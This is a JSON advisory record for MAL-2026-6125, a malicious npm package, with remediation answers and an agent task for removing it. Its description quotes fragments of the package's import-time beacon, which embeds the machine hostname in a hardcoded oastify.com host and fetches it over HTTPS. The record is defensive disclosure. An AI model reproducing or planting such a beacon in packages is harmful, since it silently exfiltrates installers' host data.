{"answers":{"affected":"1 open source package ship an affected version, including @onum-releases/sdk.","exploited":"There is no known exploitation of MAL-2026-6125 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-6125 is a malicious package in @onum-releases/sdk, published on 18 Jun 2026."},"fix_prompt":"MAL-2026-6125 is a malicious package: @onum-releases/sdk (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-6125/ (Markdown: https://insights.sbomify.com/MAL-2026-6125/index.md)","id":"MAL-2026-6125","markdown":"https://insights.sbomify.com/MAL-2026-6125/index.md","name":"MAL-2026-6125","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"On import, index.js reads the installer's machine hostname via os.hostname(), embeds it as a subdomain of a hardcoded *.oastify.com (Burp Collaborator out-of-band callback) host, and issues an HTTPS GET to that host. Specifically, index.js lines 5-7 build `sdk.\u003chostname\u003e.200majoeu01dk02xnjdajro1isojc90y.oastify.com` and call `https.get({ host: host, path: '/sdk',... })`. The fetch fires unconditionally on `require('@onum-releases/sdk')` with no caller consent, leaking the installer's hostname (via both DNS and HTTPS) to whoever controls that Collaborator instance. The package's own description says 'Security PoC placeholder - benign, no runtime payload', but the shipped code does run an import-time beacon. The `@onum-releases` scope plus PoC framing is consistent with a dependency-confusion probe against an internal `onum` namespace; the harm to any installer who pulls it (intentionally or via name confusion) is host-identifier exfiltration to a third-party OAST server.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in @onum-releases/sdk (npm)","id":"MAL-2026-6125","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"@onum-releases/sdk","purl":"pkg:npm/%40onum-releases%2Fsdk","source":"MAL-2026-6125"}],"products":null,"published":"2026-06-18","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-6125/"}